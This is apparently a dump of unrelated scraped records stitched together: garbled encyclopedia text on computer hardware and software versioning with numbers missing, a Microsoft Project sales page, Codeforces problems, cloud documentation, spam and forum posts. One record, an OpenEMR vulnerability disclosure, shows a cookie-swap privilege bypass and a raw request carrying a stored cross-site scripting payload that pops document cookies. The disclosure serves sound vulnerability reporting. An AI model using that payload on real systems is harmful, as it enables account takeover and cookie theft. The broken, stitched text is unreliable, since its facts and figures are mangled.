RAM is usually placed directly above known as Package on package or below on the opposite side of the circuit board the SoC, and the flash memory is usually placed right next to the SoC, this all done to improve data transfer speeds, as the data signals don’t have to travel long distances. Since ENIAC in , computers have advanced enormously, with modern SoCs Such as the Snapdragon being the size of a coin while also being hundreds of thousands of times more powerful than ENIAC, integrating billions of transistors, and consuming only a few watts of power.\nThe first mobile computers were heavy and ran from mains power. The 50 lb 23 kg IBM was an early example. Later portables such as the Osborne 1 and Compaq Portable were considerably lighter but still needed to be plugged in. The first laptops , such as the Grid Compass , removed this requirement by incorporating batteries — and with the continued miniaturization of computing resources and advancements in portable battery life, portable computers grew in popularity in the s.\nThese smartphones and tablets run on a variety of operating systems and recently became the dominant computing device on the market. The term hardware covers all of those parts of a computer that are tangible physical objects.\nCircuits , computer chips, graphic cards, sound cards, memory RAM , motherboard, displays, power supplies, cables, keyboards, printers and “mice” input devices are all hardware. These parts are interconnected by buses , often made of groups of wires.\nInside each of these parts are thousands to trillions of small electrical circuits which can be turned off or on by means of an electronic switch. Each circuit represents a bit binary digit of information so that when the circuit is on it represents a “1”, and when off it represents a “0” in positive logic representation. The circuits are arranged in logic gates so that one or more of the circuits may control the state of one or more of the other circuits.\nWhen unprocessed data is sent to the computer with the help of input devices, the data is processed and sent to output devices. The input devices may be hand-operated or automated. The act of processing is mainly regulated by the CPU. Some examples of input devices are:. The means through which computer gives output are known as output devices. Some examples of output devices are:. The control unit often called a control system or central controller manages the computer’s various components; it reads and interprets decodes the program instructions, transforming them into control signals that activate other parts of the computer.\nA key component common to all CPUs is the program counter , a special memory cell a register that keeps track of which location in memory the next instruction is to be read from. The control system’s function is as follows— this is a simplified description, and some of these steps may be performed concurrently or in a different order depending on the type of CPU:. Since the program counter is conceptually just another set of memory cells, it can be changed by calculations done in the ALU.\nAdding to the program counter would cause the next instruction to be read from a place locations further down the program. Instructions that modify the program counter are often known as “jumps” and allow for loops instructions that are repeated by the computer and often conditional instruction execution both examples of control flow.\nThe sequence of operations that the control unit goes through to process an instruction is in itself like a short computer program , and indeed, in some more complex CPU designs, there is another yet smaller computer called a microsequencer , which runs a microcode program that causes all of these events to happen.\nEarly CPUs were composed of many separate components. Since the s, CPUs have typically been constructed on a single MOS integrated circuit chip called a microprocessor. The ALU is capable of performing two classes of operations: arithmetic and logic. Some can operate only on whole numbers integers while others use floating point to represent real numbers , albeit with limited precision.\nHowever, any computer that is capable of performing just the simplest operations can be programmed to break down the more complex operations into simple steps that it can perform. Therefore, any computer can be programmed to perform any arithmetic operation—although it will take more time to do so if its ALU does not directly support the operation. An ALU may also compare numbers and return Boolean truth values true or false depending on whether one is equal to, greater than or less than the other “is 64 greater than 65?\nThese can be useful for creating complicated conditional statements and processing Boolean logic. Superscalar computers may contain multiple ALUs, allowing them to process several instructions simultaneously. A computer’s memory can be viewed as a list of cells into which numbers can be placed or read.\nEach cell has a numbered “address” and can store a single number. The computer can be instructed to “put the number into the cell numbered ” or to “add the number that is in cell to the number that is in cell and put the answer into cell Letters, numbers, even computer instructions can be placed into memory with equal ease. Since the CPU does not differentiate between different types of information, it is the software’s responsibility to give significance to what the memory sees as nothing but a series of numbers.\nIn almost all modern computers, each memory cell is set up to store binary numbers in groups of eight bits called a byte. To store larger numbers, several consecutive bytes may be used typically, two, four or eight. When negative numbers are required, they are usually stored in two’s complement notation. Other arrangements are possible, but are usually not seen outside of specialized applications or historical contexts.\nA computer can store any kind of information in memory if it can be represented numerically. Modern computers have billions or even trillions of bytes of memory. The CPU contains a special set of memory cells called registers that can be read and written to much more rapidly than the main memory area.\nThere are typically between two and one hundred registers depending on the type of CPU. Registers are used for the most frequently needed data items to avoid having to access main memory every time data is needed. As data is constantly being worked on, reducing the need to access main memory which is often slow compared to the ALU and control units greatly increases the computer’s speed. ROM is typically used to store the computer’s initial start-up instructions. In general, the contents of RAM are erased when the power to the computer is turned off, but ROM retains its data indefinitely.\nIn embedded computers , which frequently do not have disk drives, all of the required software may be stored in ROM. Software stored in ROM is often called firmware , because it is notionally more like hardware than software. Flash memory blurs the distinction between ROM and RAM, as it retains its data when turned off but is also rewritable. It is typically much slower than conventional ROM and RAM however, so its use is restricted to applications where high speed is unnecessary.\nIn more sophisticated computers there may be one or more RAM cache memories , which are slower than registers but faster than main memory. Generally computers with this sort of cache are designed to move frequently needed data into the cache automatically, often without the need for any intervention on the programmer’s part.\nHard disk drives , floppy disk drives and optical disc drives serve as both input and output devices. A graphics processing unit might contain fifty or more tiny computers that perform the calculations necessary to display 3D graphics.\nA era flat screen display contains its own computer circuitry. While a computer may be viewed as running one gigantic program stored in its main memory, in some systems it is necessary to give the appearance of running several programs simultaneously.\nThis is achieved by multitasking i. By remembering where it was executing prior to the interrupt, the computer can return to that task later. If several programs are running “at the same time”. Since modern computers typically execute instructions several orders of magnitude faster than human perception, it may appear that many programs are running at the same time even though only one is ever executing in any given instant.\nThis method of multitasking is sometimes termed “time-sharing” since each program is allocated a “slice” of time in turn. Before the era of inexpensive computers, the principal use for multitasking was to allow many people to share the same computer. If a program is waiting for the user to click on the mouse or press a key on the keyboard, then it will not take a “time slice” until the event it is waiting for has occurred.\nThis frees up time for other programs to execute so that many programs may be run simultaneously without unacceptable speed loss. Some computers are designed to distribute their work across several CPUs in a multiprocessing configuration, a technique once employed in only large and powerful machines such as supercomputers , mainframe computers and servers.\nMultiprocessor and multi-core multiple CPUs on a single integrated circuit personal and laptop computers are now widely available, and are being increasingly used in lower-end markets as a result.\nSupercomputers in particular often have highly unique architectures that differ significantly from the basic stored-program architecture and from general-purpose computers. Such designs tend to be useful for only specialized tasks due to the large scale of program organization required to successfully utilize most of the available resources at once. Supercomputers usually see usage in large-scale simulation , graphics rendering , and cryptography applications, as well as with other so-called ” embarrassingly parallel ” tasks.\nSoftware refers to parts of the computer which do not have a material form, such as programs, data, protocols, etc. Software is that part of a computer system that consists of encoded information or computer instructions, in contrast to the physical hardware from which the system is built.\nComputer software includes computer programs , libraries and related non-executable data , such as online documentation or digital media. It is often divided into system software and application software Computer hardware and software require each other and neither can be realistically used on its own. There are thousands of different programming languages—some intended for general purpose, others useful for only highly specialized applications.\nThe defining feature of modern computers which distinguishes them from all other machines is that they can be programmed. That is to say that some type of instructions the program can be given to the computer, and it will process them. Modern computers based on the von Neumann architecture often have machine code in the form of an imperative programming language. In practical terms, a computer program may be just a few instructions or extend to many millions of instructions, as do the programs for word processors and web browsers for example.\nA typical modern computer can execute billions of instructions per second gigaflops and rarely makes a mistake over many years of operation.\nLarge computer programs consisting of several million instructions may take teams of programmers years to write, and due to the complexity of the task almost certainly contain errors. This section applies to most common RAM machine —based computers. In most cases, computer instructions are simple: add one number to another, move some data from one location to another, send a message to some external device, etc.\nThese instructions are read from the computer’s memory and are generally carried out executed in the order they were given. However, there are usually specialized instructions to tell the computer to jump ahead or backwards to some other place in the program and to carry on executing from there. These are called “jump” instructions or branches. Furthermore, jump instructions may be made to happen conditionally so that different sequences of instructions may be used depending on the result of some previous calculation or some external event.\nMany computers directly support subroutines by providing a type of jump that “remembers” the location it jumped from and another instruction to return to the instruction following that jump instruction. Program execution might be likened to reading a book. While a person will normally read each word and line in sequence, they may at times jump back to an earlier place in the text or skip sections that are not of interest.\nSimilarly, a computer may sometimes go back and repeat the instructions in some section of the program over and over again until some internal condition is met. This is called the flow of control within the program and it is what allows the computer to perform tasks repeatedly without human intervention.\nComparatively, a person using a pocket calculator can perform a basic arithmetic operation such as adding two numbers with just a few button presses. But to add together all of the numbers from 1 to 1, would take thousands of button presses and a lot of time, with a near certainty of making a mistake.\nOn the other hand, a computer may be programmed to do this with just a few simple instructions. Programs that are in an early stage are often called “alpha” software, after the first letter in the Greek alphabet. After they mature but are not yet ready for release, they may be called “beta” software, after the second letter in the Greek alphabet.\nGenerally alpha software is tested by developers only, while beta software is distributed for community testing. Some systems use numerical versions less than 1 such as 0. This is a common convention in open source software. So the alpha version of the 2. An alternative is to refer to pre-release versions as “release candidates”, so that software packages which are soon to be released as a particular version may carry that version tag followed by “rc- “, indicating the number of the release candidate; when the final version is released, the “rc” tag is removed.\nA software release train is a form of software release schedule in which a number of distinct series of versioned software releases for multiple products are released as a number of different “trains” on a regular schedule. Generally, for each product line, a number of different release trains are running at a given time, with each train moving from initial release to eventual maturity and retirement on a planned schedule.\nUsers may experiment with a newer release train before adopting it for production, allowing them to experiment with newer, “raw”, releases early, while continuing to follow the previous train’s point releases for their production systems prior to moving to the new release train as it becomes mature. Cisco’s IOS software platform used a release train schedule with many distinct trains for many years. More recently, a number of other platforms including Firefox and Fenix for Android,  Eclipse ,  LibreOffice ,  Ubuntu ,  Fedora,  Python,  digiKam  and VMware  have adopted the release train model.\nBetween the 1. For example, Linux 2. After the minor version number in the Linux kernel is the release number, in ascending order; for example, Linux 2. Since the release of the 2. The same odd-even system is used by some other software with long release cycles, such as Node.\nSun’s Java has at times had a hybrid system, where the internal version number has always been 1. Sun also dropped the first digit for Solaris, where Solaris 2. A similar jump took place with the Asterisk open-source PBX construction kit in the early s, whose project leads announced that the current version 1.\nThis approach, panned by many because it breaks the semantic significance of the sections of the version number, has been adopted by an increasing number of vendors including Mozilla for Firefox. Version numbers very quickly evolve from simple integers 1, 2, These complex version numbers are therefore better treated as character strings. Operating systems that include package management facilities such as all non-trivial Linux or BSD distributions will use a distribution-specific algorithm for comparing version numbers of different software packages.\nFor example, the ordering algorithms of Red Hat and derived distributions differ to those of the Debian-like distributions. As an example of surprising version number ordering implementation behavior, in Debian, leading zeroes are ignored in chunks, so that 5.\nThis can confuse users; string-matching tools may fail to find a given version number; and this can cause subtle bugs in package management if the programmers use string-indexed data structures such as version-number indexed hash tables. To ease sorting, some software packages represent each component of the major. Perl represents its version numbers as a floating-point number; for example, Perl’s 5. This allows a theoretical version of 5. Other software packages pack each segment into a fixed bit width; for example, on Microsoft Windows, version number 6.\nThe floating-point scheme breaks down if any segment of the version number exceeds ; a packed-binary scheme employing 16 bits apiece breaks down after The free-software and open source communities tend to release software early and often. Initial versions are numbers less than 1, with these 0. Backward-incompatible changes are common with 0.\nVersion 1. The developers of the arcade game emulator MAME do not ever intend to release a version 1. Accordingly, version 0. Since the internet has become widespread, most commercial software vendors no longer follow the maxim that a major version should be “complete” and instead rely on patches with bugfixes to sort out the known issues which a solution has been found for and could be fixed.\nA relatively common practice is to make major jumps in version numbers for marketing reasons. Sometimes software vendors just bypass the 1. Other times version numbers are increased to match those of competitors. Microsoft Access jumped from version 2. Microsoft has also been the target of ‘catch-up’ versioning, with the Netscape browsers skipping version 5 to 6, in line with Microsoft’s Internet Explorer , but also because the Mozilla application suite inherited version 5 in its user agent string during pre Another example of keeping up with competitors is when Slackware Linux jumped from version 4 to version 7 in In the mids, the rapidly growing CMMS , Maximo, moved from Maximo Series 3 directly to Series 5, skipping Series 4 due to that number’s perceived marketing difficulties in the Chinese market, where the number 4 is associated with “death” see tetraphobia.\nThis did not, however, stop Maximo Series 5 version 4. The “Series” versioning has since been dropped, effectively resetting version numbers after Series 5 version 1. Version numbers are used in practical terms by the consumer, or client , to identify or compare their copy of the software product against another copy, such as the newest version released by the developer.\nFor the programmer or company, versioning is often used on a revision-by-revision basis, where individual parts of the software are compared and contrasted with newer or older revisions of those same parts, often in a collaborative version control system. In the 21st century, more programmers started to use a formalized version policy, such as the semantic versioning policy.\nVersioning is also a required practice to enable many schemes of patching and upgrading software, especially to automatically decide what and where to upgrade to. Version numbers allow people providing support to ascertain exactly which code a user is running, so that they can rule out bugs that have already been fixed as a cause of an issue, and the like. This is especially important when a program has a substantial user community, especially when that community is large enough that the people providing technical support are not the people who wrote the code.\nThe semantic meaning  of version. As a rule of thumb, the bigger the changes, the larger the chances that something might break although examining the Changelog, if any, may reveal only superficial or irrelevant changes.\nThis is one reason for some of the distaste expressed in the “drop the major release” approach taken by Asterisk et alia: now, staff must or at least should do a full regression test for every update. Versioning amongst documents is relatively similar to the routine used with computers and software engineering, where with each small change in the structure, contents, or conditions, the version number is incremented by 1, or a smaller or larger value, again depending on the personal preference of the author and the size or importance of changes made.\nIn some cases, the use is a direct analogy for example: Jackass 2. More often it’s used to play on an association with high technology, and doesn’t literally indicate a ‘version’ e. A particularly notable usage is Web 2. From Wikipedia, the free encyclopedia. Giving a unique identifier to each software update. This article may have too many section headers dividing up its content.\nPlease help improve the article by merging similar sections and removing unneeded subheaders. February Learn how and when to remove this template message. Semantic Versioning 2.\nCreative Commons. August 16, Libtool documentation. Retrieved April 11, September 14, Opera Software. Retrieved November 6, Movable Type Documentation Wiki. Project Online Essentials 3.\nIf you are a global or billing administrator, an annual commitment is required to purchase online. You can choose to pay monthly or annually. Within the Microsoft admin center, global and billing administrators can choose either annual or monthly commitment plans. All others may purchase a monthly subscription online. For frequently asked questions about Project including Project Online Essentials, visit the frequently asked questions page. A credit card is required to begin a one month trial.\nThe duration of the trial varies by the month you sign up. The expiration date will appear on the trial subscription details page within the Microsoft admin center. Upon the expiration of your one month trial, you will be charged the applicable subscription fee.\nCancellation can be done at any time to stop future charges. Plan 1 includes Project Online Essentials capabilities in addition to Project for the web. See the Project Online section of the Project service description.\nFor more detailed information on the subscriptions, see the Project service description. A comprehensive on-premises project management solution.\nA flexible, scalable on-premises solution for project portfolio management and everyday project and work management. Submit timesheets to capture project and nonproject time spent for payroll, invoicing, and other business purposes. Manage demand by capturing and evaluating project ideas from anywhere in the organization through a standardized process.\nUse advanced analytics to choose project proposals that best align with strategic goals and honor constraints. United States. Compare project management solutions and costs. Looking for more? Project Online Essentials 1 Try now with a partner. Project Plan 1. Buy now.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 14336, "token_count_with_eod": 14337, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "A new virus called \"CodeVid-23\" has spread among programmers. Rudolf, being a programmer, was not able to avoid it.\n\nThere are $$$n$$$ symptoms numbered from $$$1$$$ to $$$n$$$ that can appear when infected. Initially, Rudolf has some of them. He went to the pharmacy and bought $$$m$$$ medicines.\n\nFor each medicine, the number of days it needs to be taken is known, and the set of symptoms it removes. Unfortunately, medicines often have side effects. Therefore, for each medicine, the set of symptoms that appear when taking it is also known.\n\nAfter reading the instructions, Rudolf realized that taking more than one medicine at a time is very unhealthy.\n\nRudolph wants to be healed as soon as possible. Therefore, he asks you to calculate the minimum number of days to remove all symptoms, or to say that it is impossible.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Sasha lives in a big happy family. At the Man's Day all the men of the family gather to celebrate it following their own traditions. There are n men in Sasha's family, so let's number them with integers from 1 to n.\n\nEach man has at most one father but may have arbitrary number of sons.\n\nMan number A is considered to be the ancestor of the man number B if at least one of the following conditions is satisfied:\n\n- A = B;\n- the man number A is the father of the man number B;\n- there is a man number C, such that the man number A is his ancestor and the man number C is the father of the man number B.\n\nOf course, if the man number A is an ancestor of the man number B and A ≠ B, then the man number B is not an ancestor of the man number A.\n\nThe tradition of the Sasha's family is to give gifts at the Man's Day. Because giving gifts in a normal way is boring, each year the following happens.\n\n1. A list of candidates is prepared, containing some (possibly all) of the n men in some order.\n2. Each of the n men decides to give a gift.\n3. In order to choose a person to give a gift to, man A looks through the list and picks the first man B in the list, such that B is an ancestor of A and gives him a gift. Note that according to definition it may happen that a person gives a gift to himself.\n4. If there is no ancestor of a person in the list, he becomes sad and leaves the celebration without giving a gift to anyone.\n\nThis year you have decided to help in organizing celebration and asked each of the n men, who do they want to give presents to (this person is chosen only among ancestors). Are you able to make a list of candidates, such that all the wishes will be satisfied if they give gifts according to the process described above?", "source": "cpt_codeforces", "language": "en", "token_count": 415, "token_count_with_eod": 416, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "When exceptions occur on a node in a managed node pool, Container Service for Kubernetes (ACK) automatically repairs the node. This ensures that the nodes in an ACK cluster can run as normal. After you create a managed node pool or convert a node pool into a managed node pool, auto repair is automatically enabled for the nodes in the managed node pool. ACK monitors the status of nodes in managed node pools and runs different repair tasks to fix different node exceptions. This topic describes the use scenarios and procedure of auto repair.\nConditions to trigger auto repair\nkubectl describe nodecommand and check the value of the\nconditionfield in the output. If a node remains in an abnormal state within a period of time that exceeds the threshold, ACK automatically runs repair tasks on the node. The following table describes the trigger conditions.\n|Status||Example||Threshold (duration of a node exception that triggers auto repair)|\n|NotReady||kubelet processes not responding||180s|\n|DockerHung||dockerd not responding||90s|\nThe auto repair feature includes the following phases: diagnose node exceptions, determine whether to trigger auto repair, and run auto repair tasks.\n- Normal: The node runs without exceptions.\n- Error: Exceptions occur on the node.\n- Failed to Recover: The node fails to recover from the exceptions after the auto repair tasks are completed.\n- If a node enters an abnormal state and remains in the abnormal state for a period of time that is longer than the threshold, ACK determines that the node is in the Error state.\n- After a node is considered in the Error state, ACK runs specific auto repair tasks\nto fix the exceptions and generates events.\n- If the node exceptions are fixed after the repair tasks are completed, the node changes to the Normal state.\n- If the node exceptions persist after the repair tasks are completed, the node changes to the Failed to Recover state.\n- If exceptions occur on multiple nodes in a node pool, ACK runs auto repair tasks on the nodes in sequence. If ACK fails to repair one of the nodes, ACK stops running auto repair tasks on the remaining nodes.\n- If node exceptions occur in multiple node pools in a cluster, ACK runs auto repair tasks on the node pools in parallel.\n- If ACK fails to repair a node, ACK disables auto repair for the node until the node recovers from exceptions.\nAuto repair events\n|Cause||Event level||Event description|\n|NodeRepairStart||Normal||The system starts to repair the node.|\n|NodeRepairAction||Normal||The repair operation on the node, for example, restart kubelet.|\n|NodeRepairSucceed||Normal||The node recovers from exceptions after the repair operation is completed.|\n|NodeRepairFailed||Warning||The node fails to recover from exceptions after the repair operation is completed.\nFor more information, see FAQ.\n|NodeRepairIgnore||Normal||The repair operation is ignored on the node. If an Elastic Compute Service (ECS) node is not in the Running state, the system does not perform auto repair operations on the node.|\nWhat do I do if ACK fails to repair a node?\nThe auto repair feature may fail to fix complicated node exceptions in some scenarios. If an auto repair task fails on a node or the node exception persists after an auto repair task is completed, the node enters the Failed to Recover state.\nIf ACK fails to repair a node in a node pool, it disables auto repair for all nodes in the node pool until the node recovers from exceptions. In this case, Submit a ticket to apply to manually fix node exceptions.\nHow do I disable auto repair for a node?", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Basic Organization Information\n- Physical Address:\nMountain View, CA\n- Web URL:\n- NTEE Category:\nU Science and Technology Research Institutes\nU41 Computer Science\n- Ruling Year:\nThe mission of the Mozilla Foundation is to improve and protect the Internet as a public commons, by working with thousands of volunteers to (1) keep the Internet a universal platform and (2) promote continued innovation on the Internet.\nScience & Technology\n- Population Served:\nThe Mozilla Foundation oversees the Mozilla project, a worldwide open\nsource development project comprising thousands of contributors, almost\nall of them volunteers. The Mozilla Foundation, through its\nwholly-owned subsidiary the Mozilla Corporation, creates and\ndistributes the award-winning free and open source web browser Firefox,\nused by tens of millions of people worldwide.\nThe Mozilla community produces a lot of great software and acts as an incubator for innovative ideas as a way to advance our mission of building a better Internet.\nProgram Long-Term Success:\nProgram Short-Term Success:\nProgram Success Monitored by:\nProgram Success Examples:\nContractor data is available for this organization!\nIndependent Contractor information for 2011, 2009, 2008, 2007 is available for this organization with a subscription to GuideStar Premium Pro.\nGuideStar Premium Pro also includes:\n- Comprehensive financial data, including functional expense detail, for every digitized fiscal year in GuideStar's database\n- Ability to download up to 55 fields of data for up to 1,000 organizations at a time and up to five years worth of Income Statement\nand Balance Sheet data for individual organizations\n- Comprehensive advanced search capabilities, including criteria for functional expenses, investible assets, investment income\nand audit & 990T filing requirements\n- Ability to save organizations and searches for quick reference\n- People search with salary range data\n- Access to all available Forms 990\nImpact Summary from the Nonprofit\nThis organization has not provided an impact summary.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 429, "token_count_with_eod": 430, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Pet Gates For Cats. Here are a number of highest rated Pet Gates For Cats pictures upon internet. We identified it from trustworthy source. Its submitted by dispensation in the best field. We assume this kind of Pet Gates For Cats graphic could possibly be the most trending topic with we share it in google lead or facebook.\nWe try to introduced in this posting in the past this may be one of fabulous mention for any Pet Gates For Cats options. Dont you arrive here to know some supplementary unique pot de fleurs pas cher idea? We essentially wish you can easily take it as one of your insinuation and many thanks for your get older for surfing our webpage. engross portion this image for your beloved friends, families, work via your social media such as facebook, google plus, twitter, pinterest, or any supplementary bookmarking sites.\nPet Gate With Cat Door Petsmart, Diy Extra Large Pet Gate For Cats Kitty Loaf, Domestic Cats Kill Billions Of Mice And Birds Per Year Study Estimates, Cat Loss Poems And Quotes Quotesgram, Pet Gate With Cat Opening,", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You have a string $$$s$$$ consisting of $$$n$$$ characters. Each character is either 0 or 1.\n\nYou can perform operations on the string. Each operation consists of two steps:\n\n1. select an integer $$$i$$$ from $$$1$$$ to the length of the string $$$s$$$, then delete the character $$$s_i$$$ (the string length gets reduced by $$$1$$$, the indices of characters to the right of the deleted one also get reduced by $$$1$$$);\n2. if the string $$$s$$$ is not empty, delete the maximum length prefix consisting of the same characters (the indices of the remaining characters and the string length get reduced by the length of the deleted prefix).\n\nNote that both steps are mandatory in each operation, and their order cannot be changed.\n\nFor example, if you have a string $$$s =$$$ 111010, the first operation can be one of the following:\n\n1. select $$$i = 1$$$: we'll get 111010 $$$\\rightarrow$$$ 11010 $$$\\rightarrow$$$ 010;\n2. select $$$i = 2$$$: we'll get 111010 $$$\\rightarrow$$$ 11010 $$$\\rightarrow$$$ 010;\n3. select $$$i = 3$$$: we'll get 111010 $$$\\rightarrow$$$ 11010 $$$\\rightarrow$$$ 010;\n4. select $$$i = 4$$$: we'll get 111010 $$$\\rightarrow$$$ 11110 $$$\\rightarrow$$$ 0;\n5. select $$$i = 5$$$: we'll get 111010 $$$\\rightarrow$$$ 11100 $$$\\rightarrow$$$ 00;\n6. select $$$i = 6$$$: we'll get 111010 $$$\\rightarrow$$$ 11101 $$$\\rightarrow$$$ 01.\n\nYou finish performing operations when the string $$$s$$$ becomes empty. What is the maximum number of operations you can perform?", "source": "cpt_codeforces", "language": "en", "token_count": 455, "token_count_with_eod": 456, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Everyone knows how BSNL UL users are forced to pay 100% more for 400 % (UL users get 250 kbps ,while rest get 2 Mbps !!! )slow speed .Yet I remained quite satisfies since my internet usage was quite high being a professional gamer .But recent times have left me throughly frustrated as my connection to Game (Like Counter Strike : S or TF2) hosting servers (even those in india) has become lethargic. The ping (milliseconds taken to send/receive data) to an indian server has raised from 50 to 400 (totally unplayable) . While my friends at metro cities and other ISP user are enjoying lightening fast speeds and lower costs .\nSolution of your complaint\nRemove the bottlenecks!!!!! Speed up the connection,a 256Mbps connection is supposed to be a lot more faster ,and what we are being provided cannot even be reffered to as broadband", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 202, "token_count_with_eod": 203, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Hi BW gurus,\nRecently I have installed a Standard cube (0PUR_CO1) and also installed 2 Standard DataSource:- 2LIS_02_HDR, 2LIS_02_ITM.\nAfter I activated it, I right click on the InfoCube and create Transformation, between the Cube and the DataSource.\nNormally it would have auto mapped for us right from the start, However, in this case, the Transformationm, there are none are Auto Mapped.\nIt has a lot of InfoObject, and apart from those obvious ones (e.g. Vendor etc) I can map manually, but there are around 80 other Characteristic and Key Figures which are not mapped automatically.\nIs there are function to Autp Propose Mapping between a Source and Target?\nThanks in advance,", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 170, "token_count_with_eod": 171, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Hii devs! I want to reset a player. Not like just teleport them back to the worldspawn and clear their inventory, I want to pretend they join again! Have you got any idea of a packet which handles this serverside? Alternative way: As I think it's pretty unlikely that there's a perfect packet for my need, I want to ask you about an alternative way. Could I maybe despawn all players and spawn them again at the worldspawn(packets!!!!) The general problem is that I've got the player stuck in a way, that only a rejoin can fix it. So I want to pretend a rejoin via packets!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 132, "token_count_with_eod": 133, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Non-Privilege User Can Created New Rule and Lead to Stored Cross Site Scripting in openemr/openemr\nMar 21st 2022\nStored Cross Site-Scripting (XSS)\n###Authentication Required? Yes\nNon-privilege users (accounting, front-office) can create new rule and allows them to inject arbitrary web script that led to Stored Cross Site Scripting. This vulnerability found in “/interface/super/rules/index.php?action=edit!submit_summary” on one parameter (fid_title). The XSS payload will be fired in the Plan Rules that can only be viewed by privileged users.\nnsure to HTML encode before inserting any untrusted data into HTML element content. Ensure all inputs entered by user should be sanitized and validated before processing and storage. Inputs should be filtered by the application, for example removing special characters such as < and > as well as special words such as script.\nAden Yap Chuen Zhen (email@example.com)\nRizan, Sheikh (firstname.lastname@example.org)\nAli Radzali (email@example.com)\nLogin to EMR using admin and we can see there is a Rules tab in (Administration > Practice > Rules).\nFigure 1: Login as Administrator and Go to Rules tab\nLogin to EMR using non-privilege users (accountant, front-office) and we can see there is no Rules tab in (Administration > Practice).\nFigure 2: Login as Accountant and Check For Rules tab\nUsing Burp, we intercept the Admin request to add new rules in Rules tab and swap the “OpenEMR” cookie using an Accountant cookie and we are be able to create new rule that contain our XSS payload.\nFigure 3: Burp Request Captured Using Accountant Cookie to Create New Rule\nThe Raw Request looks like:\nPOST /openemr/interface/super/rules/index.php?action=edit!submit_summary HTTP/1.1 Host: 192.168.153.129 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 120 Origin: http://192.168.153.129 Connection: close Referer: http://192.168.153.129/openemr/interface/super/rules/index.php?action=edit!summary Upgrade-Insecure-Requests: 1 Cookie: OpenEMR=zfLGOSTbtLDyoLLIFMlBPUrBWNNlzrYN5y60Z-BItjBhTNw0; id=&fld_title=<script>alert(document.cookie)</script>&fld_developer=&fld_funding_source=&fld_release=&fld_web_reference=\nGo to Rules page (Administration > Practice > Rules) and Click “Go” on Plans Configuration.\nFigure 4: Plans & Rules Configuration Page\nThe XSS will be fired in any Plans configurations. For example, an Admin can select any plans and the cookies of the admin will be pop out in alert box.\nThis has been fixed in 18.104.22.168 .\nHi, Kindly issue a CVE for this vulnerability. Tq\nDear @admin I've already ping the maintainer, could you please follow up on the CVE creation? Tq\nDear @maintainer, could you kindly confirm that CVE can be created for this report? Tq\nAlso note that this fix is also in the recently released 6.1.0 version.\nI consent to creation of CVE.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 833, "token_count_with_eod": 834, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You can install Json.Net into your Visual Studio Project in 1 of 2 ways.\nInstall Json.Net using the Package Manager Console.\n- Open the Package Manager Console window in Visual Studio either by typing package manager console in the Quick Launch box and selecting it\nor by clicking View -> Other Windows -> Package Manager Console.\n- Once the Package Manager Console is visible, select the project within your solution, into which you want to install Json.Net, by selecting it from the Default Project dropdown.\n- Now type the following command and press enter.\n- This will install the latest version of Json.Net. You will see the installation progress in the Package Manager Console. If successful, you will the message that it was successfully installed into your selected Project.\n- Once installed successfully, you will now be able to see the Json.Net Assembly in the references in your selected Project. The name of the Json.Net assembly is\nJson.Net is now ready for use in your project!\nInstall Json.Net using the Visual Studio Solution Explorer.\nYou can also install json.net using the Solution Explorer in Visual Studio.\nRight click the References node in your Project and click Manage Nuget Packages...\nIn the Nuget Package Manager Dialog box, make sure Online is selected in the left pane. Type Json.Net in the search box in the top right. This will display the Json.Net Nuget Package in the search results pane in the middle.\nClick the Install button.\n- You will see the installation progress in the progress window that will pop up.\n- Once the installation is complete, you will see a green check-mark next to the Json.Net package in the Nuget Package Manager dialog box.\n- You will also see the\nNewtonsoft.Json Assembly in the References node in your solution explorer for your selected project.\nThis completes the installation of Json.Net. You are now ready to use it in your project to perform various operations on json data.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 395, "token_count_with_eod": 396, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Limak is a little polar bear. He has n balls, the i-th ball has size ti.\n\nLimak wants to give one ball to each of his three friends. Giving gifts isn't easy — there are two rules Limak must obey to make friends happy:\n\n- No two friends can get balls of the same size.\n- No two friends can get balls of sizes that differ by more than 2.\n\nFor example, Limak can choose balls with sizes 4, 5 and 3, or balls with sizes 90, 91 and 92. But he can't choose balls with sizes 5, 5 and 6 (two friends would get balls of the same size), and he can't choose balls with sizes 30, 31 and 33 (because sizes 30 and 33 differ by more than 2).\n\nYour task is to check whether Limak can choose three balls that satisfy conditions above.", "source": "cpt_codeforces", "language": "en", "token_count": 204, "token_count_with_eod": 205, "validation_channel": "code", "validation_source": "cpt_codeforces"}
